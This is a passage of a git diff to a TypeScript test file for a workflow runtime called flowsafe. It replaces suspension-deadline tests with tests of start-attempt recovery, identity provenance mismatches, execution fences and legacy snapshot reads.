+        expect(await f.row()).toEqual(before);
+        expect(persist).not.toHaveBeenCalled();
+        expect(f.effects).toHaveBeenCalledOnce();
+      } else {
+        expect((await f.row())?.runId).toBe('foreign-run');
+        expect(
+          persist.mock.calls.filter(
+            ([input]) => input.snapshot.status === 'success',
+          ),
+        ).toHaveLength(1);
+      }
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
   });
+});
 
-  it('pins the reserved key surviving a suspendSchema that declares it', async () => {
-    const { start } = timedGateRuntime(
-      'declared-gate',
-      z.object({
-        reason: z.string(),
-        [SUSPENSION_DEADLINE_PAYLOAD_KEY]: z.number(),
+async function d3UnkeyedTargetPending(
+  f: Awaited<ReturnType<typeof d3RuntimeFixture>>,
+  kind: 'agent' | 'workflow' = 'agent',
+) {
+  assert(f.capability);
+  const admit = f.capability.withInitialAdmission;
+  let execution: D1RunExecutionIdentity | undefined;
+  f.capability.withInitialAdmission = async (input, create) => {
+    const result = await admit(input, create);
+    return { ...result, witness: undefined } as never;
+  };
+  try {
+    await expect(
+      f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        ...(kind === 'agent'
+          ? {
+              startIdentity: {
+                owner: { kind: 'human', id: 'owner' },
+                target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+              },
+              agentStart: { threaded: false },
+            }
+          : {}),
+        onPreparedStartIdentity: (identity) => {
+          execution = normalizeD1RunExecutionIdentity(identity);
+        },
       }),
-    );
+    ).rejects.toBeInstanceOf(RunStateUnreadableError);
+    assert(execution);
+    return execution;
+  } finally {
+    f.capability.withInitialAdmission = admit;
+  }
+}
 
-    const started = await start();
+function d3ExpectedAgentTarget() {
+  return {
+    kind: 'agent' as const,
+    id: 'writer',
+    threadId: 'thread',
+    owner: { kind: 'human' as const, id: 'owner' },
+    threaded: false,
+  };
+}
 
-    expect(
-      (started.suspendPayload as Record<string, Record<string, unknown>>)
-        .gate?.[SUSPENSION_DEADLINE_PAYLOAD_KEY],
-    ).toBe(SUSPENSION_DEADLINE_MS);
-    expect(suspensionDeadlinesOf(started).entries).toHaveLength(1);
+function d3ReplaceRecoveryTarget(
+  provenance: NonNullable<WorkflowRunState['requestContext']>[string],
+  mismatch: string,
+) {
+  if (mismatch === 'owner-id') {
+    provenance.startIdentity.owner.id = 'other-owner';
+    provenance.requestedBy = 'other-owner';
+  } else if (mismatch === 'owner-kind') {
+    provenance.startIdentity.owner.kind = 'service';
+    provenance.requestedByKind = 'service';
+  } else if (mismatch === 'agent')
+    provenance.startIdentity.target.id = 'other-agent';
+  else if (mismatch === 'thread')
+    provenance.startIdentity.target.threadId = 'other-thread';
+  else if (mismatch === 'mode') provenance.agentStart.threaded = true;
+  else if (mismatch === 'workflow-role') {
+    provenance.startIdentity.target = { kind: 'workflow', id: 'd3-workflow' };
+    delete provenance.agentStart;
+  } else if (mismatch === 'missing-identity') {
+    delete provenance.startIdentity;
+    delete provenance.agentStart;
+    delete provenance.requestedBy;
+    delete provenance.requestedByKind;
+  }
+}
+
+describe('FS8 D3 Runtime activation', () => {
+  it.each(
+    (['initial', 'result'] as const).flatMap((phase) =>
+      [
+        'owner-id',
+        'owner-kind',
+        'agent',
+        'thread',
+        'mode',
+        'workflow-role',
+        'missing-identity',
+      ].map((mismatch) => ({ phase, mismatch })),
+    ),
+  )('R09 managed agent recovery validates its single $phase observation before mutation: $mismatch', async ({
+    phase,
+    mismatch,
+  }) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const execution = await d3UnkeyedTargetPending(f);
+      const snapshot = await f.row();
+      assert(snapshot?.requestContext);
+      d3ReplaceRecoveryTarget(
+        snapshot.requestContext['flowsafe.runProvenance'],
+        mismatch,
+      );
+      if (phase === 'result')
+        Object.assign(snapshot, {
+          status: 'success',
+          result: { selected: true },
+        });
+      await f.workflows.persistWorkflowSnapshot({
+        workflowName: f.workflow.id,
+        runId: 'd3-run',
+        snapshot,
+      });
+      assert(f.capability);
+      const rawRead = f.capability.readSnapshot;
+      const before = await rawRead({
+        workflowId: f.workflow.id,
+        runId: 'd3-run',
+      });
+      const read = vi.spyOn(f.capability, 'readSnapshot');
+      const terminalize = vi.spyOn(f.capability, 'terminalizeInitialAdmission');
+      const settle = vi.spyOn(f.reservations, 'settleExecution');
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: () => true,
+          expectedTarget: d3ExpectedAgentTarget(),
+        })
+        .catch((error) => error);
+      expect(
+        await rawRead({ workflowId: f.workflow.id, runId: 'd3-run' }),
+      ).toEqual(before);
+      expect(read).toHaveBeenCalledOnce();
+      expect(terminalize).not.toHaveBeenCalled();
+      expect(settle).not.toHaveBeenCalled();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    } finally {
+      f.close();
+    }
   });
 
   it.each([
-    ['loose-object-gate', z.looseObject({ reason: z.string() })],
-    [
-      'passthrough-gate',
-      z.object({ reason: z.string() }).passthrough() as unknown as z.ZodType,
-    ],
-  ])('arms through the documented loose-schema escape hatch (%s)', async (id, suspendSchema) => {
-    // The escape hatch the README and the design doc offer authors who do
-    // not want to name a flowsafe key in their own schema. If a Mastra or
-    // zod upgrade stops honouring it, that advice is wrong and this fails.
-    const { start } = timedGateRuntime(id, suspendSchema);
+    'agent-role',
+    'foreign-workflow',
+    'missing-identity',
+  ] as const)('R09 managed workflow recovery refuses a same-S %s before B2', async (mismatch) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const execution = await d3UnkeyedTargetPending(
+        f,
+        mismatch === 'agent-role' ? 'agent' : 'workflow',
+      );
+      const snapshot = await f.row();
+      assert(snapshot?.requestContext);
+      if (mismatch === 'foreign-workflow')
+        snapshot.requestContext[
+          'flowsafe.runProvenance'
+        ].startIdentity.target.id = 'other-workflow';
+      if (mismatch === 'missing-identity')
+        d3ReplaceRecoveryTarget(
+          snapshot.requestContext['flowsafe.runProvenance'],
+          mismatch,
+        );
+      await f.workflows.persistWorkflowSnapshot({
+        workflowName: f.workflow.id,
+        runId: 'd3-run',
+        snapshot,
+      });
+      const before = await f.row();
+      assert(f.capability);
+      const read = vi.spyOn(f.capability, 'readSnapshot'),
+        terminalize = vi.spyOn(f.capability, 'terminalizeInitialAdmission'),
+        settle = vi.spyOn(f.reservations, 'settleExecution');
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: () => true,
+          expectedTarget: { kind: 'workflow' },
+        })
+        .catch((error) => error);
+      expect(await f.row()).toEqual(before);
+      expect(read).toHaveBeenCalledOnce();
+      expect(terminalize).not.toHaveBeenCalled();
+      expect(settle).not.toHaveBeenCalled();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
 
-    const started = await start();
+  it.each([
+    'quiescence',
+    'read',
+  ] as const)('R08 freezes recovery expectation values and owner before the %s wait', async (phase) => {
+    const entered = cDeferred(),
+      release = cDeferred();
+    const f = await d3RuntimeFixture();
+    let pending: Promise<unknown> | undefined;
+    try {
+      const execution = await d3UnkeyedTargetPending(f);
+      assert(f.capability);
+      const expectedTarget = d3ExpectedAgentTarget();
+      const originalRead = f.capability.readSnapshot;
+      const read = vi
+        .spyOn(f.capability, 'readSnapshot')
+        .mockImplementation(async (address) => {
+          const row = await originalRead(address);
+          if (phase === 'read') {
+            entered.resolve();
+            await release.promise;
+          }
+          return row;
+        });
+      pending = f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          expectedTarget,
+          isOwnerQuiescent: async () => {
+            if (phase === 'quiescence') {
+              entered.resolve();
+              await release.promise;
+            }
+            return true;
+          },
+        })
+        .catch((error) => error);
+      await entered.promise;
+      expect(Object.isFrozen(expectedTarget)).toBe(false);
+      expect(Object.isFrozen(expectedTarget.owner)).toBe(false);
+      Object.assign(expectedTarget, {
+        kind: 'workflow',
+        id: 'other-agent',
+        threadId: 'other-thread',
+        threaded: true,
+      });
+      Object.assign(expectedTarget.owner, {
+        kind: 'service',
+        id: 'other-owner',
+      });
+      release.resolve();
+      const result = await pending;
+      expect((await f.row())?.status).toBe('failed');
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance']
+          .startIdentity,
+      ).toEqual({
+        owner: { kind: 'human', id: 'owner' },
+        target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+      });
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'failed' },
+      });
+    } finally {
+      release.resolve();
+      await pending;
+      f.close();
+    }
+  });
 
-    expect(suspensionDeadlinesOf(started).entries).toHaveLength(1);
+  it.each(
+    (['terminalized', 'progressed'] as const).flatMap((kind) =>
+      [
+        'owner-id',
+        'owner-kind',
+        'agent',
+        'thread',
+        'mode',
+        'workflow-role',
+        'missing-identity',
+      ].map((mismatch) => ({ kind, mismatch })),
+    ),
+  )('R09 rejects a contradictory B2 $kind returned target before settlement: $mismatch', async ({
+    kind,
+    mismatch,
+  }) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const execution = await d3UnkeyedTargetPending(f);
+      assert(f.capability);
+      const native = f.capability.terminalizeInitialAdmission;
+      const terminalize = vi
+        .spyOn(f.capability, 'terminalizeInitialAdmission')
+        .mockImplementation(async (input) => {
+          const result = await native(input);
+          assert(result.kind !== 'conflict');
+          const snapshot = JSON.parse(result.row.snapshot);
+          d3ReplaceRecoveryTarget(
+            snapshot.requestContext['flowsafe.runProvenance'],
+            mismatch,
+          );
+          return {
+            ...result,
+            kind,
+            row: { ...result.row, snapshot: JSON.stringify(snapshot) },
+          };
+        });
+      const read = vi.spyOn(f.capability, 'readSnapshot'),
+        settle = vi.spyOn(f.reservations, 'settleExecution');
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: () => true,
+          expectedTarget: d3ExpectedAgentTarget(),
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('failed');
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance']
+          .startIdentity,
+      ).toEqual({
+        owner: { kind: 'human', id: 'owner' },
+        target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+      });
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'].agentStart,
+      ).toEqual({ threaded: false });
+      expect(read).toHaveBeenCalledOnce();
+      expect(terminalize).toHaveBeenCalledOnce();
+      expect(settle).not.toHaveBeenCalled();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    } finally {
+      f.close();
+    }
   });
 
-  it('fails the timeout resume of a step whose resumeSchema rejects the envelope', async () => {
-    // The likelier of the two authoring footguns: every realistic approval
-    // step declares a resumeSchema, and Mastra validates resume data before
-    // the engine is touched, so a schema that does not accept the envelope
-    // makes the timeout resume throw. The wake then charges its retry ledger
-    // and eventually drops the deadline — documented, and pinned here.
-    const { runtime, start } = timedGateRuntime(
-      'resume-schema-gate',
-      undefined,
-      z.object({ approvedBy: z.string() }),
-    );
-    const started = await start();
-    const entry = suspensionDeadlinesOf(started)
-      .entries[0] as SuspensionDeadlineEntry;
+  it('R08 accepts a managed agent progressed result with a changed current-leg H and requester', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+        startIdentity: {
+          owner: { kind: 'human', id: 'owner' },
+          target: { kind: 'agent', id: 'writer', threadId: 'thread' },
+        },
+        agentStart: { threaded: false },
+      });
+      const original = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-run',
+      );
+      assert(original?.storage === 'd1');
+      await f.runtime.resume(f.workflow.id, 'd3-run', {
+        resumeData: { go: true },
+        requestedBy: 'reviewer',
+        requestedByKind: 'service',
+      });
+      assert(f.capability);
+      const read = vi.spyOn(f.capability, 'readSnapshot');
+      const result = await f.runtime.recoverStartAttempt(original.execution, {
+        attemptToken: 'H',
+        isOwnerQuiescent: () => true,
+        expectedTarget: d3ExpectedAgentTarget(),
+      });
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance']
+          .attemptToken,
+      ).not.toBe('H');
+      expect(read).toHaveBeenCalledOnce();
+      expect(f.effects).toHaveBeenCalledTimes(2);
+      expect(result).toMatchObject({
+        kind: 'ordinary',
+        summary: {
+          status: 'success',
+          requestedBy: 'reviewer',
+          requestedByKind: 'service',
+        },
+      });
+    } finally {
+      f.close();
+    }
+  });
 
-    // The message matters: a bare rejection would also pass if the resume threw
-    // for an unrelated reason, and then this would stop pinning the footgun.
-    await expect(
-      runtime.resume('resume-schema-gate', started.runId, {
-        step: ['gate'],
-        resumeData: suspensionTimeoutResumeData(entry, Date.now()),
-        requestedBy: SUSPENSION_DEADLINE_PRINCIPAL_ID,
-        requestedByKind: 'system',
-      }),
-    ).rejects.toThrow('Invalid resume data');
+  it('R09 workflow expectation preserves the initiating owner without a source-owner assertion', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      const execution = await d3UnkeyedTargetPending(f, 'workflow');
+      await expect(
+        f.runtime.recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: () => true,
+          expectedTarget: { kind: 'workflow' },
+        }),
+      ).resolves.toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'failed', requestedBy: 'owner' },
+      });
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance']
+          .startIdentity.owner,
+      ).toEqual({ kind: 'human', id: 'owner' });
+      expect(f.effects).not.toHaveBeenCalled();
+    } finally {
+      f.close();
+    }
+  });
 
-    // #then — the run is untouched: the step never took its timeout branch
-    const after = await runtime.status('resume-schema-gate', started.runId);
-    expect(after?.status).toBe('suspended');
-    expect(after?.resumeCount?.gate).toBeUndefined();
+  it.each([
+    'inherited',
+    'unattributed',
+  ] as const)('R08 direct generic recovery stays role-neutral for %s results', async (kind) => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d1Snapshot();
+      if (kind === 'inherited')
+        snapshot.requestContext[
+          'flowsafe.runProvenance'
+        ].startIdentity.target.id = 'another-root';
+      else {
+        delete snapshot.requestContext['flowsafe.runProvenance'].startIdentity;
+        delete snapshot.requestContext['flowsafe.runProvenance'].requestedBy;
+        delete snapshot.requestContext['flowsafe.runProvenance']
+          .requestedByKind;
+      }
+      await f.seed(snapshot);
+      await expect(
+        f.runtime.recoverStartAttempt(
+          {
+            tablePrefix: '',
+            workflowId: 'd1-workflow',
+            runId: 'd1-run',
+            startToken: 'S1',
+          },
+          { attemptToken: 'initial-H', isOwnerQuiescent: () => true },
+        ),
+      ).resolves.toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'success', result: { source: 'S1' } },
+      });
+    } finally {
+      f.close();
+    }
   });
 
-  it('refuses to arm a nested suspension instead of arming nothing silently', async () => {
-    // Mastra reports a nested suspension as the nested path but keys the
-    // payload and the fence by the TOP-LEVEL step, so there is no fence for
-    // the step that actually suspended. v1 refuses it, loudly, rather than
-    // leaving an author to believe a deadline was accepted.
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const approval = createStep({
-      id: 'approval',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ settledBy: z.string() }),
-      execute: async ({ resumeData, suspend }) =>
-        resumeData
-          ? { settledBy: 'signal' }
-          : suspend({
-              reason: 'awaiting signal',
-              [SUSPENSION_DEADLINE_PAYLOAD_KEY]: SUSPENSION_DEADLINE_MS,
-            }),
-    });
-    const inner = createWorkflow({
-      id: 'nested',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ settledBy: z.string() }),
-    })
-      .then(approval)
-      .commit();
-    createWorkflow({
-      id: 'nested-outer',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ settledBy: z.string() }),
-    })
-      .then(inner)
-      .commit();
+  it.each([
+    null,
+    [],
+    1,
+    'workflow',
+    { kind: 'wrong' },
+    {
+      kind: 'agent',
+      id: 'writer',
+      threadId: 'thread',
+      owner: { kind: 'human', id: 'owner' },
+      threaded: 'false',
+    },
+  ])('R09 rejects malformed recovery expectation %j before I/O', async (expectedTarget) => {
+    const f = await d3RuntimeFixture();
+    try {
+      assert(f.capability);
+      const read = vi.spyOn(f.capability, 'readSnapshot'),
+        quiescent = vi.fn(() => true);
+      const result = await f.runtime
+        .recoverStartAttempt(
+          {
+            tablePrefix: 'd3_',
+            workflowId: f.workflow.id,
+            runId: 'd3-run',
+            startToken: 'S',
+          },
+          {
+            attemptToken: 'H',
+            isOwnerQuiescent: quiescent,
+            expectedTarget: expectedTarget as never,
+          },
+        )
+        .catch((error) => error);
+      expect(read).not.toHaveBeenCalled();
+      expect(quiescent).not.toHaveBeenCalled();
+      expect(await f.row()).toBeNull();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(InvalidRunRequestError);
+    } finally {
+      f.close();
+    }
+  });
+});
+
+describe('FS8 D3 Runtime activation', () => {
+  it.each([
+    'agent-role',
+    'foreign-workflow',
+    'missing-identity',
+  ] as const)('R09 rejects B2 returned workflow expectation mismatch %s before settlement', async (mismatch) => {
+    const f = await d3RuntimeFixture();
+    try {
+      const execution = await d3UnkeyedTargetPending(f, 'workflow');
+      assert(f.capability);
+      const native = f.capability.terminalizeInitialAdmission;
+      vi.spyOn(f.capability, 'terminalizeInitialAdmission').mockImplementation(
+        async (input) => {
+          const result = await native(input);
+          assert(result.kind !== 'conflict');
+          const snapshot = JSON.parse(result.row.snapshot);
+          const provenance = snapshot.requestContext['flowsafe.runProvenance'];
+          if (mismatch === 'agent-role') {
+            provenance.startIdentity.target = {
+              kind: 'agent',
+              id: 'writer',
+              threadId: 'thread',
+            };
+            provenance.agentStart = { threaded: false };
+          } else if (mismatch === 'foreign-workflow')
+            provenance.startIdentity.target.id = 'other-workflow';
+          else d3ReplaceRecoveryTarget(provenance, 'missing-identity');
+          return {
+            ...result,
+            kind: 'progressed',
+            row: { ...result.row, snapshot: JSON.stringify(snapshot) },
+          };
+        },
+      );
+      const read = vi.spyOn(f.capability, 'readSnapshot'),
+        settle = vi.spyOn(f.reservations, 'settleExecution');
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: () => true,
+          expectedTarget: { kind: 'workflow' },
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('failed');
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance']
+          .startIdentity.target,
+      ).toEqual({ kind: 'workflow', id: f.workflow.id });
+      expect(read).toHaveBeenCalledOnce();
+      expect(settle).not.toHaveBeenCalled();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
+
+  it.each([
+    { owner: { kind: 'operator', id: 'owner' } },
+    { owner: { kind: 'human', id: '' } },
+    { owner: null },
+    { id: 'bad/agent' },
+    { threadId: 'bad/thread' },
+  ])('R09 uses the existing identity normalizer for invalid managed recovery target %j', async (invalid) => {
+    const f = await d3RuntimeFixture();
+    try {
+      assert(f.capability);
+      const read = vi.spyOn(f.capability, 'readSnapshot'),
+        quiescent = vi.fn(() => true);
+      const result = await f.runtime
+        .recoverStartAttempt(
+          {
+            tablePrefix: 'd3_',
+            workflowId: f.workflow.id,
+            runId: 'd3-run',
+            startToken: 'S',
+          },
+          {
+            attemptToken: 'H',
+            isOwnerQuiescent: quiescent,
+            expectedTarget: { ...d3ExpectedAgentTarget(), ...invalid } as never,
+          },
+        )
+        .catch((error) => error);
+      expect(read).not.toHaveBeenCalled();
+      expect(quiescent).not.toHaveBeenCalled();
+      expect(await f.row()).toBeNull();
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(InvalidExecutionIdentityError);
+    } finally {
+      f.close();
+    }
+  });
+});
 
-    const started = await runtime.start('nested-outer', {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
+describe('FS8 D3 Runtime activation', () => {
+  it('R08 freezes workflow recovery kind before owning quiescence', async () => {
+    const f = await d3RuntimeFixture(),
+      entered = cDeferred(),
+      release = cDeferred();
+    let pending: Promise<unknown> | undefined;
+    try {
+      const execution = await d3UnkeyedTargetPending(f, 'workflow');
+      const expectedTarget = { kind: 'workflow' as const };
+      pending = f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          expectedTarget,
+          isOwnerQuiescent: async () => {
+            entered.resolve();
+            await release.promise;
+            return true;
+          },
+        })
+        .catch((error) => error);
+      await entered.promise;
+      expect(Object.isFrozen(expectedTarget)).toBe(false);
+      Object.assign(expectedTarget, d3ExpectedAgentTarget());
+      release.resolve();
+      const result = await pending;
+      expect((await f.row())?.status).toBe('failed');
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance']
+          .startIdentity.target,
+      ).toEqual({ kind: 'workflow', id: f.workflow.id });
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toMatchObject({
+        kind: 'ordinary',
+        summary: { status: 'failed' },
+      });
+    } finally {
+      release.resolve();
+      await pending;
+      f.close();
+    }
+  });
+});
 
-    expect(started.suspended).toEqual([['nested', 'approval']]);
-    expect(suspensionDeadlinesOf(started)).toEqual({
-      entries: [],
-      rejected: [
-        {
-          step: 'nested.approval',
-          reason: 'nested suspension paths are not supported',
-        },
-      ],
-    });
+function d3LegacySnapshot(
+  version: 'v1' | 'absent',
+  status: RunSummary['status'] = 'success',
+) {
+  const snapshot = d1Snapshot(status);
+  if (version === 'v1')
+    snapshot.requestContext['flowsafe.runProvenance'] = {
+      version: 1,
+      attemptToken: 'legacy-H',
+      requestedBy: 'legacy-requester',
+      resumeCounts: [['gate', 2]],
+    };
+  else delete snapshot.requestContext['flowsafe.runProvenance'];
+  return snapshot;
+}
 
-    // #then — and refused again on the projection the alarm and the recovered
-    // start read, which reports the SAME suspension as the enclosing step
-    // alone. A refusal on only one of the two projections is worse than none:
-    // the entry arms from the projection that misses it and then resumes a
-    // step whose fence describes a different suspension.
-    const rehydrated = await runtime.status('nested-outer', started.runId);
-    expect(rehydrated?.suspended).toEqual([['nested']]);
-    expect(suspensionDeadlinesOf(rehydrated as RunSummary)).toEqual({
-      entries: [],
-      rejected: [
-        {
-          step: 'nested',
-          reason: 'nested suspension paths are not supported',
+describe('FS8 D3 fix R1 legacy Runtime observations', () => {
+  it.each(
+    (['default', 'prefixed', 'unfenced'] as const).flatMap((storage) =>
+      (['v1', 'absent'] as const).flatMap((version) =>
+        (['pending', 'suspended', 'success'] as const).map((status) => ({
+          storage,
+          version,
+          status,
+        })),
+      ),
+    ),
+  )('selects $storage $version $status once only with explicit legacy opt-in', async ({
+    storage,
+    version,
+    status,
+  }) => {
+    const f = await d1Fixture(storage);
+    try {
+      const snapshot = d3LegacySnapshot(version, status);
+      await f.seed(snapshot);
+      const read =
+        storage === 'unfenced'
+          ? vi.spyOn(f.workflows, 'getWorkflowRunById')
+          : vi.spyOn(f.capability, 'readSnapshot');
+      const mint = vi.spyOn(crypto, 'randomUUID');
+      const result = await f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+        { includeLegacy: true },
+      );
+      expect(result).toMatchObject({
+        kind: 'legacy',
+        provenanceVersion: version === 'v1' ? 1 : undefined,
+        address: {
+          tablePrefix:
+            storage === 'unfenced' ? null : storage === 'prefixed' ? 'd1_' : '',
+          workflowId: 'd1-workflow',
+          runId: 'd1-run',
         },
-      ],
-    });
+        snapshot,
+        summary: { runId: 'd1-run', status },
+      });
+      expect(result).not.toHaveProperty('execution');
+      expect(result?.kind === 'legacy' && result.address).not.toHaveProperty(
+        'startToken',
+      );
+      expect(read).toHaveBeenCalledOnce();
+      expect(mint).not.toHaveBeenCalled();
+      if (version === 'v1')
+        expect(result?.summary?.requestedBy).toBe('legacy-requester');
+      else expect(result?.summary).not.toHaveProperty('requestedBy');
+      if (status === 'suspended')
+        expect(result?.summary?.resumeCount).toEqual(
+          version === 'v1' ? { gate: 2 } : undefined,
+        );
+      mint.mockRestore();
+      read.mockRestore();
+      const before = await f.workflows.loadWorkflowSnapshot({
+        workflowName: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      const refused = await f.runtime
+        .authoritativeStartState('d1-workflow', 'd1-run')
+        .catch((error) => error);
+      expect(
+        await f.workflows.loadWorkflowSnapshot({
+          workflowName: 'd1-workflow',
+          runId: 'd1-run',
+        }),
+      ).toEqual(before);
+      expect(refused).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      vi.restoreAllMocks();
+      f.close();
+    }
+  });
 
-    // Tripwire on the marker that refusal depends on: Mastra stamps the inner
-    // path into the persisted payload, and that is the only thing telling this
-    // suspension apart from an ordinary top-level one. A rename would make
-    // nested deadlines arm again, so it fails here rather than there.
-    expect(
-      (rehydrated?.suspendPayload as Record<string, Record<string, unknown>>)
-        .nested?.[MASTRA_WORKFLOW_META_KEY],
-    ).toMatchObject({ path: ['approval'] });
+  it.each([
+    null,
+    'legacy',
+    3,
+    [[]],
+    { version: 3 },
+    { version: 1 },
+    { version: 1, attemptToken: 'bad/token', resumeCounts: [] },
+    { version: 1, attemptToken: 'H', requestedBy: ' ', resumeCounts: [] },
+    {
+      version: 1,
+      attemptToken: 'H',
+      requestedByKind: 'human',
+      resumeCounts: [],
+    },
+    { version: 1, attemptToken: 'H', resumeCounts: [['gate', 0]] },
+    { version: 2, startToken: 'S1', attemptToken: 'H', resumeCounts: 'wrong' },
+  ])('does not reclassify malformed provenance as legacy (%j)', async (provenance) => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d1Snapshot();
+      snapshot.requestContext['flowsafe.runProvenance'] = provenance;
+      await f.seed(snapshot);
+      const before = await f.workflows.loadWorkflowSnapshot({
+        workflowName: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      const read = vi.spyOn(f.capability, 'readSnapshot');
+      const result = await f.runtime
+        .authoritativeStartState('d1-workflow', 'd1-run', {
+          includeLegacy: true,
+        })
+        .catch((error) => error);
+      expect(
+        await f.workflows.loadWorkflowSnapshot({
+          workflowName: 'd1-workflow',
+          runId: 'd1-run',
+        }),
+      ).toEqual(before);
+      expect(read).toHaveBeenCalledOnce();
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
   });
 
   it.each([
-    ['a plain step id', 'plain-gate'],
-    ['a step id containing a dot', 'dotted.gate'],
-  ])('derives the same deadline from the live summary and from status() for %s', async (_label, stepId) => {
-    // The contract the whole design rests on: a lifecycle boundary arms from
-    // the live summary while the alarm fences against the rehydrated one, so
-    // the two must derive identical entries. They key `suspended`
-    // differently for a dotted id — ['a.b'] live, ['a','b'] rehydrated — and
-    // an entry derived from one that the other cannot recognize is a deadline
-    // that arms and then silently disappears.
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const gate = createStep({
-      id: stepId,
-      inputSchema: z.object({}),
-      outputSchema: z.object({ settledBy: z.string() }),
-      execute: async ({ resumeData, suspend }) =>
-        resumeData
-          ? { settledBy: 'signal' }
-          : suspend({
-              reason: 'awaiting signal',
-              [SUSPENSION_DEADLINE_PAYLOAD_KEY]: SUSPENSION_DEADLINE_MS,
-            }),
-    });
-    createWorkflow({
-      id: `projection-${stepId}`,
-      inputSchema: z.object({}),
-      outputSchema: z.object({ settledBy: z.string() }),
-    })
-      .then(gate)
-      .commit();
+    'read failure',
+    'JSON',
+    'selector',
+    'timestamp',
+    'container',
+  ] as const)('retains authoritative unreadability instead of a legacy fallback after %s', async (fault) => {
+    const f = await d1Fixture();
+    try {
+      await f.seed(d3LegacySnapshot('v1'));
+      const native = f.capability.readSnapshot;
+      const read = vi
+        .spyOn(f.capability, 'readSnapshot')
+        .mockImplementation(async (address) => {
+          if (fault === 'read failure') throw new Error('selected read failed');
+          const row = await native(address);
+          assert(row);
+          if (fault === 'JSON') return { ...row, snapshot: '{' };
+          if (fault === 'selector') return { ...row, workflowId: 'other' };
+          if (fault === 'timestamp') return { ...row, updatedAt: 'invalid' };
+          const snapshot = JSON.parse(row.snapshot);
+          snapshot.context = [];
+          return { ...row, snapshot: JSON.stringify(snapshot) };
+        });
+      const ordinary = vi.spyOn(f.workflows, 'getWorkflowRunById');
+      const result = await f.runtime
+        .authoritativeStartState('d1-workflow', 'd1-run', {
+          includeLegacy: true,
+        })
+        .catch((error) => error);
+      expect(read).toHaveBeenCalledOnce();
+      expect(ordinary).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
 
-    const live = await runtime.start(`projection-${stepId}`, {
-      runId: crypto.randomUUID(),
-      inputData: {},
-    });
-    const rehydrated = await runtime.status(`projection-${stepId}`, live.runId);
+  it.each([
+    'prefixed',
+    'unfenced',
+  ] as const)('captures actual %s source, method and legacy option before the selected read waits', async (storage) => {
+    const nominal = await d1Fixture(),
+      actual = await d1Fixture(storage),
+      entered = cDeferred(),
+      release = cDeferred();
+    let pending: Promise<unknown> | undefined;
+    try {
+      await nominal.seed(d1Snapshot());
+      await actual.seed(d3LegacySnapshot('v1'));
+      vi.spyOn(nominal.workflow, 'mastra', 'get').mockReturnValue(
+        new Mastra({ storage: actual.storage, logger: false }),
+      );
+      const options = { includeLegacy: true as const };
+      const receivers: unknown[] = [];
+      if (storage === 'prefixed') {
+        const native = actual.capability.readSnapshot;
